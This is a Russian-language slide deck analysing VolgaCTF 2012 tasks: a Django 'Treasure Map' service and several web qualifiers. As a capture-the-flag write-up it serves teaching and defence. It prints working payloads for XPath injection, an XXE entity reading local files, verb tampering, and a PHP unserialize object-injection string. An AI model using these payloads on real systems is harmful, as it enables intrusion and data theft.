1. Разбор заданий «VolgaCTF»
Сергей Бобров
Август, 2012 г.

2. Задания
Финал
• Сервис «Карта Сокровищ» [Python/Django]
Отборочные
• Web100 [XSS/Bot]
• Web200 [Authentication Bypass]
• Web500 [Verb Tampering/Backup Files/Deobfuscation/Unserialize
Tricks]
• Stegano200 [WAV-file]

3. Сервис «Карта Сокровищ»

4. Сервис «Карта Сокровищ»: Уязвимости
Отображение всех флагов в xml, предоставляющей данные
для визуализации

5. Сервис «Карта Сокровищ»: Уязвимости
Внедрение операторов XPath
treasure = treasure_xml.xpath('/treasures/treasure
[id = '%s' and owner='%s']' %
(id, request.session['user'].name))
Эксплуатация
/treasure/view/?id=<id>' or '1'='1
Username = ' or id= '<id>

6. Сервис «Карта Сокровищ»: Уязвимости
Регистрация пользователей с одинаковым логином
• При регистрации не проверялось наличие такого пользователя
• При проверке прав использовался только логин пользователя
Эксплуатация
• Смотрим имя последнего пользователя с флагом
• Регистрируемся с данными Login: <login>, Password: 1
• ???
• PROFIT!

7. Сервис «Карта Сокровищ»: Уязвимости
Внедрение внешних сущностей XML (XXE Attack)
• При добавлении флага на стороне клиента формировалась XML
• На сервере XML-парсеры поддерживали XML eXternal Entity
Эксплуатация
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml">
]>
<treasure><name>x</name>
<treasureData>&xxe;</treasureData>
<x>5</x><y>5</y></treasure>

8. Отборочные: Задание WEB100

9. Отборочные: Задание WEB200
/robots.txt
Disallow: /_31337_4dm1np4g3
/_31337_4dm1np4g3
if($password != ‘xxx’) {
header(‘Location: index.php?error’)
}

10. Отборочные: Задание WEB500
Verb Tampering
.htaccess
<Limit GET>
require valid-user
</Limit>
Файлы бэкапа
Обфускация
Битовыми операциями формируются слова «chr» и цифры 0-9.
Далее формируется строка
a.s.s.e.r.t(c.o.d.e)
Где каждая буква представляет собой c.h.r(0.1.2)

11. Отборочные: Задание WEB500
Unserialize Tricks // bit.ly/nWyefG
Примерный вид эксплоита:
auth=a:3:{s:5:"login";s:6:"pirate";s:8:"password";s:7:"pirate1";s:4:
"name";O:7:"Textbox":1:{s:12:"0Textbox0obj";C:6:"Object":86:{
O:4:"User":2:{s:11:"0User0login";O:4:"Flag":0:{}s:14:"0User0p
assword";s:8:"getFlags";}}}}

12. Отборочные: Задание Stegano200

13. Спасибо за внимание!
sbobrov@ptsecurity.ru